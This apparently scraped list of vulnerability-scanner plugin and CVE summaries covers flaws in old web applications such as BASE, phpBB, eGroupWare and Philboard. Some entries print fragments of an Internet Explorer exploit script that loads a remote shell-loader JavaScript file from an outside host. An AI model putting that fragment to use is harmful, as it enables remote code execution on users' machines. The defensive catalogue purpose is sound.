BASE < 1.2.5 readRoleCookie() Auth Bypass

The installed version of Basic Analysis and Security Engine BASE on the remote host is affected by an authentication bypass vulnerability. By sending a specially crafted cookie, it may be possible to bypass authentication and gain access to the application. %NASLMINLEVEL 70300 C Tenable Network...

Packeteer Web Management Interface Version

It is possible to determine the version of the remote web application. Description : OpenVAS was able to determine the software version of the Packeteer web management interface running on the remote host. OpenVAS Vulnerability Test $Id: packeteerwebversion.nasl 5499 2017-03-06 13:06:09Z teissa $...

MS Internet Explorer Remote Application.Shell Exploit

No description provided by source. html body script language="Javascript" function InjectedDuringRedirection showModalDialog'md.htm',window,"dialogTop:-10000;dialogLeft:-10000;dialogHeight:1; dialogWidth:1;".location="vbscript:"SCRIPT SRC='http://ip/shellscriptloader.js'/script""; /script...

CodeThatShoppingCart Input Validation Vulnerabilities

The remote version of CodeThat.com ShoppingCart contains an input validation flaw leading to a SQL injection vulnerability. SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

MaxWebPortal < 1.360 Multiple Vulnerabilities

Binary data 2898.prm...

EGroupWare Multiple Vulnerabilities (SQLi, ID)

The remote host is running eGroupWare, a web-based groupware solution. It is reported that versions 1.0.0.006 and older are prone to multiple SQL injection and cross-site scripting flaws. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; i...

Macromedia JRun Multiple Vulnerabilities

Binary data 2316.prm...

OpenCA crypto-utils.lib libCheckSignature Function Signature Validation Weakness

The remote host seems to be running an older version of OpenCA. It is reported that OpenCA versions up to and incluing 0.9.1.6 contains a flaw that may lead an attacker to bypass signature verification of a certificate. %NASLMINLEVEL 70300 C Tenable Network Security, Inc...

phpBB < 2.0.10 Multiple XSS

The remote host is running a version of phpBB older than 2.0.10. phpBB contains a flaw that allows a remote cross-site scripting attack. This flaw exists because the application does not validate user-supplied input in the 'searchauthor' parameter. This version is also vulnerable to an HTTP...

MS Internet Explorer Remote Application.Shell Exploit

Exploit for unknown platform in category remote exploits ===================================================== MS Internet Explorer Remote Application.Shell Exploit ===================================================== function InjectedDuringRedirection...

Microsoft Internet Explorer - Remote Application.Shell

Microsoft Internet Explorer - Remote Application.Shell function InjectedDuringRedirection showModalDialog'md.htm',window,"dialogTop:-10000;dialogLeft:-10000;dialogHeight:1; dialogWidth:1;".location="vbscript:"""; setTimeout"myiframe.execScriptInjectedDuringRedirection.toString",100;...

GameSpy SDK Malformed \query\ Request Overflow DoS

The remote GameSpy server could be disabled by sending a malformed packet. An attacker could exploit this flaw to crash the affected application. C Tenable Network Security, Inc. include"compat.inc"; if description scriptid12081; scriptversion"1.15"; scriptcvsdate"Date: 2018/11/15 20:50:21";...

CVE-2003-0854

ls in the fileutils or coreutils packages allows local users to consume a large amount of memory via a large -w value, which can be remotely exploited via applications that use ls, such as wu-ftpd...

CVE-2003-0854

ls in the fileutils or coreutils packages allows local users to consume a large amount of memory via a large -w value, which can be remotely exploited via applications that use ls, such as wu-ftpd...

Philboard /database/philboard.mdb Direct Request Database Disclosure

The remote host is running Philboard. It is possible to download the database of this server philboard.mdb and to obtain valuable information from it passwords, archives, and so on. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. include'deprecatednasllevel.inc'; include'compat.inc';...